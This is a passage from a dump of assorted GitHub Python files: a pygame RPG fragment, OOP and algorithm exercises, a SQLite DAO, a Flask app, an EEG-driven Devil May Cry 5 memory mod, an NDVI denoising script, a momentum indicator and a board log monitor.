450:\n streng_status = strengthen_prop(baggage.objects[chose_num])\n pygame.draw.rect(screen, CREAM, ((0, height - 145), (1100, 145)))\n if streng_status == 1:\n show_words('强化成功!', (width / 2, height - 100), font, RED)\n elif streng_status == 0:\n show_words('强化失败...', (width / 2, height - 100), font, RED)\n elif streng_status == 2:\n show_words('你的装备已经满级了!', (width / 2, height - 100), font, RED)\n elif streng_status == 3:\n show_words('没钱强化个毛啊!需要' + str(baggage.objects[chose_num].need_exp),\n (width / 2, height - 100), font, RED)\n pygame.display.update()\n fclock.tick(fps)\n time.sleep(0.2)\n if 100 < mouse_pos[0] < (width - 200) / 3 + 100 and 450 < mouse_pos[1] < 650:\n add_prop_character(character_list[0], baggage.objects[chose_num], 1)\n tag = 1\n break\n elif (width - 200) / 3 + 100 < mouse_pos[0] < (width - 200) / 1.5 + 100 and 450 \\\n < mouse_pos[1] < 650:\n add_prop_character(character_list[1], baggage.objects[chose_num], 2)\n tag = 1\n break\n elif (width - 200) / 1.5 + 100 < mouse_pos[0] < width - 100 and 450 < mouse_pos[1] < 650:\n add_prop_character(character_list[2], baggage.objects[chose_num], 3)\n tag = 1\n break\n if close_window() == 1:\n break\n if tag == 1:\n flag = 1\n break\n pygame.display.update()\n fclock.tick(fps)\n if width - 180 < mouse_pos[0] < width - 120 and height - 60 < mouse_pos[1] < height and mouse_pressed[0] == 1:\n \"\"\"achievement\"\"\"\n draw_window()\n while True:\n if close_window() == 1:\n break\n if (map_x_velocity > 0 and map_choice[0] < width - 10) or (map_x_velocity < 0 and map_choice[0] > 10):\n map_choice[0] += map_x_velocity\n if (map_y_velocity > 0 and map_choice[1] < height - 10) or (map_y_velocity < 0 and map_choice[1] > 10):\n map_choice[1] += map_y_velocity\n pygame.draw.circle(screen, BLACK, tuple(map_choice), 10)\n screen.blit(character_images, character_image)\n screen.blit(bag_images, bag_image)\n screen.blit(achievement_images, achievement_image)\n draw_map()\n level_choice = level_choose()\n pygame.display.update()\n fclock.tick(fps)\n","repo_name":"DAZHAdazha/No-names-land","sub_path":"无名之地.py","file_name":"无名之地.py","file_ext":"py","file_size_in_byte":40390,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"2076863614","text":"#プライベート変数\n\nclass Human:\n\n #プライベート変数\n __human = 'human'\n\n def __init__(self,name,age):\n self.__name = name\n self.__age = age\n\n def print_msg(self):\n print('name = {},age = {},__human = {}'.format(self.__name,self.__age,self.__human))\n\nhuman = Human('taro',20)\n#無理やりプライベート変数にアクセスする方法\nprint(human._Human__name)\n\nprint(human.print_msg())\n","repo_name":"takicoYuki/pythonDesignPattern","sub_path":"myproject/class/base10.py","file_name":"base10.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74574242011","text":"import inspect\n\n\ndef orm(cursor, dto_type):\n # the following line retrieve the argument names of the constructor\n args = inspect.getargspec(dto_type.__init__).args\n\n # the first argument of the constructor will be 'self', it does not correspond\n # to any database field, so we can ignore it.\n args = args[1:]\n\n # gets the names of the columns returned in the cursor\n col_names = [column[0] for column in cursor.description]\n\n # map them into the position of the corresponding constructor argument\n col_mapping = [col_names.index(arg) for arg in args]\n return [row_map(row, col_mapping, dto_type) for row in cursor.fetchall()]\n\n\ndef row_map(row, col_mapping, dto_type):\n ctor_args = [row[idx] for idx in col_mapping]\n return dto_type(*ctor_args)\n\n\n# we can use our method above in order to start writing a generic Dao\n# note that this class is not complete and we will add methods to it next\nclass Dao(object):\n def __init__(self, dto_type, conn):\n self._conn = conn\n self._dto_type = dto_type\n\n # dto_type is a class, its __name__ field contains a string representing the name of the class.\n self._table_name = dto_type.__name__.lower() + 's'\n\n def insert(self, dto_instance):\n ins_dict = vars(dto_instance)\n column_names = ','.join(ins_dict.keys())\n params = ins_dict.values()\n qmarks = ','.join(['?'] * len(ins_dict))\n stmt = 'INSERT INTO {} ({}) VALUES ({})' \\\n .format(self._table_name, column_names, qmarks)\n self._conn.execute(stmt, tuple(params))\n\n def update(self, dto_instance):\n ins_dict = vars(dto_instance)\n # for key, value in ins_dict.items():\n # value.replace(\":\", '=')\n # shitty code\n if ins_dict.get('id') is not None:\n pk = 'id'\n pkVal = '{}'.format(ins_dict.get(pk))\n else:\n pk = 'grade'\n pkVal = '\\'{}\\''.format(ins_dict.get(pk))\n\n column_names = '=?,'.join(ins_dict.keys())\n column_names += '=?'\n params = ins_dict.values()\n # qmarks = ','.join(['?'] * len(ins_dict))\n stmt = 'UPDATE {} SET {} WHERE {} = {}' \\\n .format(self._table_name, column_names, pk, pkVal)\n self._conn.execute(stmt, tuple(params))\n\n # delete\n def delete(self, keyvals):\n column_names = keyvals.keys()\n params = keyvals.values()\n stmt = 'DELETE FROM {} WHERE {}' \\\n .format(self._table_name, ' AND '.join([col + '=?' for col in column_names]))\n self._conn.execute(stmt, tuple(params))\n\n # find all\n def find_all(self):\n c = self._conn.cursor()\n c.execute('SELECT * FROM {}'.format(self._table_name))\n return orm(c, self._dto_type)\n\n # find by specific attributes\n def find(self, **keyvals):\n column_names = keyvals.keys()\n params = keyvals.values()\n\n stmt = 'SELECT * FROM {} WHERE {}' \\\n .format(self._table_name, ' AND '.join([col + '=?' for col in column_names]))\n\n c = self._conn.cursor()\n c.execute(stmt, tuple(params))\n return orm(c, self._dto_type)\n","repo_name":"y0natancohen/spl4","sub_path":"dbtools.py","file_name":"dbtools.py","file_ext":"py","file_size_in_byte":3149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37542934491","text":"from flask import Flask, request, jsonify, render_template\nfrom integrator import data_converter\n\napp = Flask(__name__)\n\n@app.route('/main', methods=['POST'])\ndef main():\n data = request.json\n input_data = data.get('inputData', {})\n output_data = data_converter(input_data)\n\n return jsonify(output_data)\n\n\n@app.route('/')\ndef index():\n return render_template('main.html')\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5000)","repo_name":"szalecki-a/Krasowskis_calculator","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28711683313","text":"# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n head = ListNode()\n current = head\n while l1 or l2 :\n if l1 and l2 :\n if l1.val > l2.val :\n current.next = ListNode(l2.val)\n current = current.next\n l2 = l2.next\n else :\n current.next = ListNode(l1.val)\n current = current.next\n l1 = l1.next\n else :\n c = l1 if l1 else l2\n current.next = c\n break\n return head.next","repo_name":"sbyeol3/Algorithm-Study","sub_path":"LeetCode/Q1-Q500/Q21.py","file_name":"Q21.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"34819903975","text":"# 재귀를 이용한 DFS\ndef recursive_dfs(v, discovered=[]):\n discovered.append(v)\n\n for x in graph[v]:\n if x not in discovered:\n recursive_dfs(x, discovered)\n\n return discovered\n\ndef iterative_dfs(v, discovered=[]):\n stack = [v]\n\n while stack:\n x = stack.pop()\n if x not in discovered:\n discovered.append(x)\n for value in graph[x]:\n stack.append(value)\n\n return discovered\n\ngraph = {\n 1: [2, 3, 4],\n 2: [5],\n 3: [5],\n 4: [],\n 5: [6, 7],\n 6: [],\n 7: [3]\n}\n\nprint(recursive_dfs(1))\nprint(iterative_dfs(1))","repo_name":"Park-min-hyoung/PAI","sub_path":"그래프/DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35614368756","text":"from PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtGui as qtg\nfrom PyQt5 import QtCore as qtc\nfrom PyQt5 import QtChart as qtch\n\nfrom ReadWriteMem import ReadWriteMemory\n\nfrom designer.dmc_mod_from import Ui_DmcEegModForm\n\n\nclass DMCMod(qtw.QMainWindow):\n\n def __init__(self):\n super().__init__()\n\n # Window Initialization\n self.setWindowTitle('DMC5 EEG Concentration Mod')\n central_wdg = qtw.QWidget()\n self.setCentralWidget(central_wdg)\n self.mod_form = Ui_DmcEegModForm()\n self.mod_form.setupUi(central_wdg)\n self.status = qtw.QStatusBar()\n self.setStatusBar(self.status)\n\n self.is_connected = False\n self.is_injecting = False\n self.current_eeg_concentration = 0.6\n\n # Read Write Memory params\n self.rwm = ReadWriteMemory()\n self.process = None\n self.concentration_ptr = None\n\n # Buttons Trigger\n self.mod_form.connectBtn.clicked.connect(self.connect)\n self.mod_form.setValBtn.clicked.connect(self.form_set_value)\n self.mod_form.startBtn.clicked.connect(self.execute_injection)\n\n self.concentration_update_value = 0\n\n # Timers\n self.value_update_timer = qtc.QTimer()\n self.value_update_timer.timeout.connect(self.update_value)\n self.injection_timer = qtc.QTimer()\n self.injection_timer.timeout.connect(self.inject_value)\n\n def inject_value(self):\n # TODO: check if in combat\n self.write_dmc_concentration(self.concentration_update_value)\n\n def update_value(self):\n print('update dmc5')\n # calculate update value\n dmc_concentration = self.read_dmc_concentration()\n update_value = self.current_eeg_concentration - self.mod_form.thrSpinBox.value()\n if update_value > 0:\n update_value *= self.mod_form.addSpinBox.value()\n else:\n update_value *= self.mod_form.subSpinBox.value()\n\n next_concentration_value = dmc_concentration + update_value\n if next_concentration_value > 300:\n next_concentration_value = 300\n elif next_concentration_value < 0:\n next_concentration_value = 0\n\n # update status values\n self.mod_form.concentrationLabel.setText(str(self.current_eeg_concentration))\n self.mod_form.updateLabel.setText(str(update_value))\n self.mod_form.gameLabel.setText(str(dmc_concentration))\n self.mod_form.nextGameLabel.setText(str(next_concentration_value))\n\n # update game value\n self.concentration_update_value = next_concentration_value\n\n\n def execute_injection(self):\n if not self.is_connected:\n print('not connected to game')\n return\n if not self.is_injecting:\n print('start inject')\n update_interval = self.mod_form.valUpdateIntervalSpinBox.value()\n inject_interval = self.mod_form.injectIntervalSpinBox.value()\n self.value_update_timer.start(update_interval)\n self.injection_timer.start(inject_interval)\n self.mod_form.startBtn.setText('Stop Injection')\n self.mod_form.connectBtn.setDisabled(True)\n self.is_injecting = True\n else:\n self.value_update_timer.stop()\n self.injection_timer.stop()\n self.mod_form.connectBtn.setDisabled(False)\n self.mod_form.startBtn.setText('Start Injection')\n self.is_injecting = False\n\n def form_set_value(self):\n val = self.mod_form.valSpinBox.value()\n self.concentration_update_value = val\n if self.is_connected:\n self.write_dmc_concentration(val)\n # update status values\n self.mod_form.concentrationLabel.setText(str(self.current_eeg_concentration))\n self.mod_form.updateLabel.setText(str(0))\n self.mod_form.gameLabel.setText(str(val))\n self.mod_form.nextGameLabel.setText(str(val))\n\n # Base Methods\n def connect(self):\n if not self.is_connected:\n self.process = self.rwm.get_process_by_name('DevilMayCry5.exe')\n self.process.open()\n\n # Get concentration pointer\n base_offset = 0X7E61B90\n module_addr = int(str(self.process.base_addr), 0) + int(str(base_offset), 0)\n self.concentration_ptr = self.process.get_pointer(lp_base_address=module_addr, offsets=[0x78, 0x1B50])\n\n # TODO: Get in combat ptr\n self.is_connected = True\n self.mod_form.connectBtn.setText('Disconnect')\n print('connection to dmc5')\n else:\n self.process.close()\n self.is_connected = False\n self.mod_form.connectBtn.setText('Connect')\n print('disconnect from dmc5')\n\n def read_dmc_concentration(self):\n con_val = self.process.read_float(self.concentration_ptr)\n print('Read concentration:', con_val)\n return con_val\n\n def write_dmc_concentration(self, val):\n state = self.process.write(self.concentration_ptr, val)\n print('write concentration state:', state)\n\n def closeEvent(self, event):\n if self.is_connected:\n self.process.close()\n self.is_connected = False\n","repo_name":"aryanakr/open-sourece-python-EEG-handling-software","sub_path":"dmc_mod.py","file_name":"dmc_mod.py","file_ext":"py","file_size_in_byte":5258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8168599952","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 20 10:37:45 2021\r\n\r\n@author: cosmi\r\n\"\"\"\r\n\r\n\"\"\"\r\nDenoised Vegetation Index Mapping program using DJI Mavic 2 Pro\r\nJPEG 16-bit combo images taken using InfraBlue Filter\r\n%(c)-J. Campbell MuonRay Enterprises 2021\r\n% creative commons For non-profit use only\r\nThis Python script was created using the Spyder Editor\r\n\"\"\"\r\n\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\nfrom PIL import Image\r\nimport pylab\r\nimport rof\r\n\r\nfrom scipy import misc\r\nimport imageio\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt # For image viewing\r\n\r\n#!/usr/bin/python\r\nimport os\r\nimport getopt\r\nimport sys\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import colors\r\nfrom matplotlib import ticker\r\nfrom matplotlib.colors import LinearSegmentedColormap\r\n\r\n\r\n\r\n#a nice selection of grayscale colour palettes\r\ncols1 = ['blue', 'green', 'yellow', 'red']\r\ncols2 = ['gray', 'gray', 'red', 'yellow', 'green']\r\ncols3 = ['gray', 'blue', 'green', 'yellow', 'red']\r\n\r\ncols4 = ['black', 'gray', 'blue', 'green', 'yellow', 'red']\r\n\r\ndef create_colormap(args):\r\n return LinearSegmentedColormap.from_list(name='custom1', colors=cols3)\r\n\r\n#colour bar to match grayscale units\r\ndef create_colorbar(fig, image):\r\n position = fig.add_axes([0.125, 0.19, 0.2, 0.05])\r\n norm = colors.Normalize(vmin=-1., vmax=1.)\r\n cbar = plt.colorbar(image,\r\n cax=position,\r\n orientation='horizontal',\r\n norm=norm)\r\n cbar.ax.tick_params(labelsize=6)\r\n tick_locator = ticker.MaxNLocator(nbins=3)\r\n cbar.locator = tick_locator\r\n cbar.update_ticks()\r\n cbar.set_label(\"NDVI\", fontsize=10, x=0.5, y=0.5, labelpad=-25)\r\n\r\n\r\n\r\nfor infile in os.listdir(\"./\"):\r\n print( \"file : \" + infile)\r\n if infile[-3:] == \"jpg\" or infile[-3:] == \"JPG\" :\r\n # print \"is tif or DNG (RAW)\"\r\n outfile = infile[:-3] + \"jpg\"\r\n rgb = misc.imread(infile)\r\n \r\n \r\n print( \"new filename : \" + outfile)\r\n # Extract Red, Green and Blue channels and save as separate files\r\n \r\n\r\n R = rgb[:,:,0]\r\n G = rgb[:,:,1]\r\n B = rgb[:,:,2]\r\n \r\n # Get the red band from the rgb image, and open it as a numpy matrix\r\n#NIR = image[:, :, 0]\r\n#ir = np.asarray(NIR, float)\r\n \r\n ir = (R).astype('float')\r\n \r\n# Get one of the IR image bands (all bands should be same)\r\n#blue = image[:, :, 2]\r\n\r\n#r = np.asarray(blue, float)\r\n \r\n r = (B).astype('float')\r\n \r\n #denoise\r\n \r\n denoised_ir_channel = ir\r\n \r\n \r\n U,T = rof.denoise(denoised_ir_channel,denoised_ir_channel)\r\n \r\n #pylab.figure()\r\n #pylab.gray()\r\n #pylab.imshow(U)\r\n #pylab.axis('equal')\r\n #pylab.axis('off')\r\n #pylab.show()\r\n\r\n\r\n# Create a numpy matrix of zeros to hold the calculated NDVI values for each pixel\r\n # The NDVI image will be the same size as the input image\r\n\r\n \r\n ndvi = np.zeros(r.size) \r\n \r\n# Calculate NDVI\r\n \r\n \r\n ndvi = np.true_divide(np.subtract(U, r), np.add(U, r))\r\n fig, ax = plt.subplots()\r\n\r\n image = ax.imshow(ndvi, cmap=create_colormap(colors))\r\n plt.axis('off')\r\n #Lock or Unlock Key Bar Here for Mapping/Sampling/Showcasing:\r\n #create_colorbar(fig, image)\r\n extent = ax.get_window_extent().transformed(fig.dpi_scale_trans.inverted())\r\n #imageio.imsave(outfile, ndvi)\r\n fig.savefig(outfile, dpi=600, transparent=True, bbox_inches=extent, pad_inches=0)\r\n\r\n # plt.show()\r\n \r\n \r\n# rgb = raw.postprocess()\r\n\r\n # plt.show()","repo_name":"MuonRay/Image_Denoising_with_ROF_algorithm","sub_path":"ndvi_denoise_batch.py","file_name":"ndvi_denoise_batch.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"32"} +{"seq_id":"24379849888","text":"## Momentum indicator compares current price with previous \n# price from selected number of periods ago.\n\n#%%\nimport pandas as pd\nfrom pandas_datareader import data\nimport matplotlib.pyplot as plt\n\n\nstart_date = '2014-01-01'\nend_date = '2018-01-01'\n\nSRC_DATA_FILENAME = 'goog_data.pkl'\n\ntry:\n goog_data2 = pd.read_pickle(SRC_DATA_FILENAME)\nexcept FileNotFoundError:\n goog_data2 = data.DataReader('GOOG', start_date, end_date)\n goog_data2.to_pickle(SRC_DATA_FILENAME)\n\ngoog_data = goog_data2.tail(620) \nclose = goog_data['Close']\n\ntime_period = 20\nhistory = []\nmom_values = []\n\nfor close_price in close:\n history.append(close_price)\n if len(history) > time_period:\n del (history[0])\n \n mom = close_price - history[0]\n mom_values.append(mom)\n \ngoog_data = goog_data.assign(ClosePrice=pd.Series(close, index=goog_data.index))\ngoog_data = goog_data.assign(MomentumFromPrice20DaysAgo=pd.Series(mom_values, index=goog_data.index))\n\nclose_price = goog_data['ClosePrice']\nmom = goog_data['MomentumFromPrice20DaysAgo']\n\nfig = plt.figure()\nax1 = fig.add_subplot(211, ylabel='Google price in $')\nclose_price.plot(ax=ax1, color='g', lw=2, legend=True)\nax2 = fig.add_subplot(212, ylabel='Momentum in $')\nmom.plot(ax=ax2, color='b', lw=2, legend=True)\nplt.show()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# %%\n","repo_name":"agbleze/python_algotrade","sub_path":"mom.py","file_name":"mom.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42243747327","text":"#!/usr/bin/python2\n\nimport sys\nimport argparse\nimport pexpect\nimport select\nimport re\nimport smtplib\nimport os\nimport time\nimport smtp_credentials\n\nfrom email.mime.text import MIMEText\n\n#FIXME: Known bug: last line not seen\n\nparser = argparse.ArgumentParser(description='Log parser')\n\nparser.add_argument('FILE', help='path to the log to parse')\nparser.add_argument('RELAY', type=int, help=\"relay port associated to the board whose log is being parsed\")\nparser.add_argument('RELAY_IP', help=\"IP address of the relays\")\nparser.add_argument('RELAY_PORT', type=int, help=\"port of the relays\")\n\nargs = parser.parse_args()\n\npower_cmd = \"command_relay.py %s %d %d\" % (args.RELAY_IP, args.RELAY_PORT, args.RELAY)\n\n\nrecipients = smtp_credentials.recipients\nme = smtp_credentials.mail\n\ndef send_mail(status, filename, line=\"\", reboot=False):\n\tcontent = \"%s occured on device %s:\\n%s\" % (status, filename, line)\n\tif reboot:\n\t\tcontent += \"\\nThe device is being rebooted.\"\n\tmsg = MIMEText(content)\n\tmsg['Subject'] = \"%s on device %s\" % (status, filename)\n\tmsg['To'] = \", \".join(recipients)\n\tmsg['From'] = me\n\tserver = smtplib.SMTP(smtp_credentials.server, smtp_credentials.port)\n\tserver.ehlo()\n\tserver.starttls()\n\tserver.login(smtp_credentials.login, smtp_credentials.password)\n\tserver.sendmail(me, recipients, msg.as_string())\n\tserver.quit()\n\ndef reboot_board():\n\tos.spawnvp(os.P_WAIT, 'command_relay.py', (power_cmd + \" off\").split())\n\ttime.sleep(5)\n\tos.spawnvp(os.P_WAIT, 'command_relay.py', (power_cmd + \" on\").split())\n\ndef timeout_detected(filename):\n\tif time.mktime(time.gmtime()) >= freeze_timeout + last_line:\n\t\tsend_mail(\"timeout of %ds\" % freeze_timeout, filename, reboot=True)\n\t\treboot_board()\n\n#Timeout in milli seconds before serial is considered frozen\ntimeout = 60 * 1000 * 10\n\n#Timeout in seconds before board is declared crashed\nfreeze_timeout = 60 * 30\nlast_line = time.mktime(time.gmtime())\nfirst_err = True\n\nboard_rebooted_re = re.compile('Hit any key to stop autoboot')\nreboot_templates = ['send stop command failed', 'Oops']\nmatching_templates = ['UBI.*err']\nmatching_res = []\nreboot_res = []\nfor matching_template in matching_templates:\n\tmatching_res.append(re.compile(matching_template))\n\nfor reboot_template in reboot_templates:\n\treboot_res.append(re.compile(reboot_template))\n\nserial = pexpect.spawn(\"tail -F %s\" % args.FILE, timeout=freeze_timeout)\npoll = select.poll()\npoll.register(serial, select.POLLIN)\n\nwhile True:\n\tpoll_ok = poll.poll(timeout)\n\tif not poll_ok:\n\t\ttimeout_detected(args.FILE)\n\t\tcontinue\n\n\ttry:\n\t\tline = serial.readline()\n\texcept pexpect.TIMEOUT:\n\t\ttimeout_detected(args.FILE)\n\t\tcontinue\n\n\tlast_line = time.mktime(time.gmtime())\n\tif board_rebooted_re.search(line):\n\t\tfirst_err = True\n\tfor matching_re in matching_res:\n\t\tmatch = matching_re.search(line)\n\t\tif match:\n\t\t\tif first_err:\n\t\t\t\tsend_mail(\"error\", args.FILE, line)\n\t\t\tfirst_err = False\n\t\t\tbreak\n\tif match:\n\t\tcontinue\n\tfor reboot_re in reboot_res:\n\t\tmatch = reboot_re.search(line)\n\t\tif match:\n\t\t\tif first_err:\n\t\t\t\tsend_mail(\"error\", args.FILE, line, True)\n\t\t\t\treboot_board()\n\t\t\tfirst_err = False\n\t\t\tbreak\n\n\nsys.exit(0)\n","repo_name":"bbrezillon/ntc-test-automation","sub_path":"log_parser.py","file_name":"log_parser.py","file_ext":"py","file_size_in_byte":3111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12371603899","text":"import os\n\nfrom vars import var\n\nfrom pyrogram import Client, idle\n\n\n\nlogging.getLogger(\"pyrogram\").setLevel(logging.INFO)\n\nTgraph = Client(\n \"Telegra.ph Uploader\",\n api_id=var.API_ID,\n api_hash=var.API_HASH,\n bot_token=var.BOT_TOKEN,\n plugins=dict(root=\"plugins\"),\n)\n\n\n\n\nTgraph.start()\nuname = (Tgraph.get_me()).username\nprint(f\"@{uname} Deployed Successfully !\")\n\nidle()\n\n\n\n","repo_name":"Captainamarica/NightVission-Telegrapbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29992892657","text":"\ndef soroban(frame):\n for i in range(len(frame)):\n frame[i] = frame[i][::-1]\n ans = 0\n power = 1\n for elem in frame[0]:\n if elem == '|':\n # '5-bead' is active:\n ans += 5 * power\n power *= 10\n power = 1\n for col in range(len(frame[0])):\n cnt = 0\n idx = 3\n while idx < len(frame) and frame[idx][col] == 'O':\n cnt += 1\n idx += 1\n ans += cnt * power\n power *= 10\n return ans\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"ivSPJNgW4ChfbrKbR_20.py","file_name":"ivSPJNgW4ChfbrKbR_20.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17224858857","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 27 08:49:45 2020\n\n@author: Angel Ayala \n\"\"\"\nimport numpy as np\n\nfrom webots_drone.utils import bytes2image\n\n\nclass Drone:\n \"\"\"The Drone class manage each sensor and actuators of the drone.\n\n It is developed for the Mavic 2 Pro drone, it consists of GPS, IMU, Gyro,\n Compass, Camera, LED and Motor nodes.\n This drone control unit is designed to stabilize the drone through 4 PID\n controllers tunned for a 8ms simulation timestep, and the drone's gimbal\n with a Damping node in the WorldInfo node with values of 0.5 for both\n angular and linear fields.\n\n :param integer timestep: The simulation timestep, 8ms mus be setted,\n unexpected behaviour can occur with a different value.\n :param string name: A name for the controller, just for debug purpose.\n :param float start_alt: The initial altitude to be reached.\n \"\"\"\n\n def __init__(self, robot):\n # Time helpers\n self.time_counter = 0\n\n # Variables\n self.lift_thrust = 68.5 # with this thrust, the drone lifts.\n self.init_dist_sensors(robot, int(robot.getBasicTimeStep()))\n self.init_devices(robot, int(robot.getBasicTimeStep()))\n self._position = np.array([0.0, 0.0, 0.0])\n\n def init_dist_sensors(self, drone_node, timestep):\n \"\"\"Initialize each sensor distance of the Mavic 2 Pro.\n\n :param drone_node Robot: The instantiated Robot Node class.\n :param integer timestep: The simulation timestep, 8ms mus be setted,\n unexpected behaviour can occur with a different value.\n \"\"\"\n self.sensors_id = ['front left dist sonar',\n 'front right dist sonar',\n 'rear top dist sonar',\n 'rear bottom dist sonar',\n 'left side dist sonar',\n 'right side dist sonar',\n 'down front dist sonar',\n 'down back dist sonar',\n 'top dist infrared']\n # instantiate distance sensors\n self.sensors = list()\n for sid in self.sensors_id:\n sensor = drone_node.getDevice(sid)\n sensor.enable(timestep)\n self.sensors.append(sensor)\n\n return True\n\n def init_devices(self, drone_node, timestep):\n \"\"\"Initialize each device of the Mavic 2 Pro, in a desired timestep.\n\n The camera node is initialized at 33ms timestep to reach ~30fps.\n\n :param drone Robot: The instantiated Robot Node class.\n :param integer timestep: The simulation timestep, 8ms mus be setted,\n unexpected behaviour can occur with a different value.\n \"\"\"\n # Position coordinates [X, Y, Z]\n self.gps = drone_node.getDevice(\"gps\")\n self.gps.enable(timestep)\n # Angles respect global coordinates [roll, pitch, yaw]\n self.imu = drone_node.getDevice(\"inertial unit\")\n self.imu.enable(timestep)\n # Acceleration angles [roll, pitch, yaw]\n self.gyro = drone_node.getDevice(\"gyro\")\n self.gyro.enable(timestep)\n # Direction degree with north as reference\n self.compass = drone_node.getDevice(\"compass\")\n self.compass.enable(timestep)\n\n # Video acquisition\n fps = 25\n self.camera = drone_node.getDevice(\"camera\")\n self.camera_rate = 1000 // fps\n self.camera.enable(self.camera_rate)\n\n # LEDS\n self.leds = [\n drone_node.getDevice(\"front left led\"),\n drone_node.getDevice(\"front right led\")\n ]\n\n # Gimbal\n self.camera_roll = drone_node.getDevice(\"camera roll\")\n self.camera_pitch = drone_node.getDevice(\"camera pitch\")\n\n # Motors\n self.motors_id = ['front left propeller',\n 'front right propeller',\n 'rear left propeller',\n 'rear right propeller']\n self.motors = list()\n for mid in self.motors_id:\n motor = drone_node.getDevice(mid)\n motor.setPosition(float('inf'))\n motor.setVelocity(1.)\n self.motors.append(motor)\n\n return True\n\n def blink_leds(self):\n \"\"\"Blink the LED nodes.\"\"\"\n led_state = int(self.time_counter) % 2\n self.leds[0].set(led_state)\n self.leds[1].set(int(not led_state))\n\n def gimbal_stabilize(self):\n \"\"\"Stabilize camera (gimbal).\"\"\"\n acceleration = self.gyro.getValues()\n self.camera_roll.setPosition(-0.115 * acceleration[0])\n self.camera_pitch.setPosition(-0.1 * acceleration[1])\n\n def get_odometry(self):\n \"\"\"Get the drone's current acceleration, angles and position.\"\"\"\n orientation = self.imu.getRollPitchYaw()\n angular_velocity = self.gyro.getValues()\n position = self.gps.getValues()\n speed = self.gps.getSpeedVector()\n compass = self.compass.getValues()\n north_rad = np.arctan2(compass[0], compass[1])\n\n return orientation, angular_velocity, position, speed, north_rad\n\n def get_image(self):\n \"\"\"Get the Camera node image with size and channels.\n\n :return the data image with BGRA values\n \"\"\"\n camera_image = None\n if self.camera.getImage():\n camera_image = bytes2image(self.camera.getImage(),\n self.get_camera_image_shape())\n return camera_image\n\n def get_dist_sensors(self):\n \"\"\"Get the Distance sensors Nodes' measurements.\"\"\"\n sensors = dict()\n for i, sensor_name in enumerate(self.sensors_id):\n dist_sensor = self.sensors[i]\n sensors[sensor_name] = [dist_sensor.getValue(),\n dist_sensor.getMinValue(),\n dist_sensor.getMaxValue()]\n return sensors\n\n def get_camera_image_shape(self):\n \"\"\"Get the camera image dimension and channels.\"\"\"\n return (self.camera.getHeight(), self.camera.getWidth(), 4) # channels\n\n def set_motors_velocity(self, fl_motor, fr_motor, rl_motor, rr_motor):\n \"\"\"Set the drone's motor velocity.\"\"\"\n # Actuate over the motors\n if not np.isnan(fl_motor):\n self.motors[0].setVelocity(self.lift_thrust + fl_motor)\n self.motors[1].setVelocity(-(self.lift_thrust + fr_motor))\n self.motors[2].setVelocity(-(self.lift_thrust + rl_motor))\n self.motors[3].setVelocity(self.lift_thrust + rr_motor)\n","repo_name":"angel-ayala/gym-webots-drone","sub_path":"controllers/drone_controller/drone.py","file_name":"drone.py","file_ext":"py","file_size_in_byte":6624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1001993413","text":"def q1(inputString):\n if len(inputString) < 2:\n print('There is no third largest integer for this input.')\n return\n #print the largest letter from the string\n currentIndex = 0\n currentMaxChar = 'a'\n currentSecondMaxChar = 'a'\n currentThirdMaxChar = 'a'\n while currentIndex < len(inputString):\n currentChar = inputString[currentIndex]\n if (currentChar.lower() > currentMaxChar):\n currentMaxChar = currentChar\n currentSecondMaxChar = currentMaxChar\n if (currentChar < currentMaxChar):\n currentSecondMaxChar = currentChar\n currentThirdMaxChar = currentSecondMaxChar\n if (currentChar < currentSecondMaxChar):\n currentThirdMaxChar = currentSecondMaxChar\n currentIndex = currentIndex + 1\n\n maxLetterCount = 0\n for a in inputString:\n count = 0\n for b in inputString:\n if(a == b):\n count = count + 1\n if(count > maxLetterCount):\n maxLetterCount = count\n repeatLetter = a\n print('In {}, the largest letter is {}, the third largest letter is {}, and the most common letter is {}, occuring {} times.'.format(inputString,currentMaxChar,currentThirdMaxChar,repeatLetter,maxLetterCount))\n return\n","repo_name":"nihaal-gill/Example-Coding-Projects","sub_path":"Working with 